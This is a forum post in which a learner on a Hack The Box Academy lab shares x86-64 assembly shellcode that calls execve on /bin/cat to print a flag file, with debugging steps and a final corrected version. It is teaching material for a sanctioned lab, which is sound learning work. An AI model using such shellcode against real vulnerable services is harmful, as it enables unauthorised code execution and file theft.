我正在 Hack The Box Academy 上的“汇编语言简介”模块,目前在“Shellcoding 工具”部分遇到问题。提示是:“上述服务器模拟了一个可利用的服务器,您可以在其上执行 shellcode。使用其中一种工具生成打印“/flag.txt”内容的 shellcode,然后使用“nc SERVER_IP PORT”连接到服务器以发送 shellcode。我正在尝试创建程序集 shellcode 以通过 execve 使用 /bin/cat 来执行此操作。我正在使用 Linux,这是我的代码:
global _start
section .text
_start:
; execve("/usr/bin/cat", ["/usr/bin/cat", "/flag.txt"], NULL)
xor rax, rax
push rax
mov rbx, "t"; t
push rbx
mov rbx, "/flag.tx"; /flag.tx
push rbx
mov rbx, rsp
push rax
xor rbx, rbx
mov rbx, "/cat"; /cat
push rbx
mov rbx, "/usr/bin"; /usr/bin
push rbx
mov rsi, rsp
xor rbx, rbx
mov rbx, "/cat"; /cat
push rbx
mov rbx, "/usr/bin"; /usr/bin
push rbx
mov rsi, rsp
mov rax, 59
mov rdx, 0
syscall
我显然是装配新手,因此我正在学习 HTB 课程,所以我知道我在这里缺少一些概念。任何帮助表示赞赏。
编辑
我稍微修改了我的代码。仍然不起作用,但我认为这是进步?
_start:
xor rax, rax
push rax
mov rsi, "flag.txt"
push rsi
mov rsi, rsp
push rax
mov rdi, "/bin/cat"
push rdi
mov rdi, rsp
mov rdx, rax
mov rax, 59
syscall
当我使用 strace 时,我得到
execve("/bin/cat", [0x7478742e67616c66], NULL) = -1 EFAULT (Bad address)
所以我认为 flag.txt 字符串似乎没有被传递?我认为这可能是因为我可能不是空终止,但我不确定。
感谢 HTB Discord,他们非常乐于助人。我犯了 NULL 终止错误,并且没有在内存中正确创建 argv 数组。这可能可以优化和清理,但这是另一天的任务。
_start:
xor rax, rax
push rax
mov rsi, "flag.txt"
push rsi
mov rsi, rsp
push rax
mov rbx, "/bin/cat"
push rbx
mov rbx, rsp
push rax
push rsi
push rbx
mov rsi, rsp
push rax
mov rdi, "/bin/cat"
push rdi
mov rdi, rsp
mov rdx, rax
mov rax, 59
syscall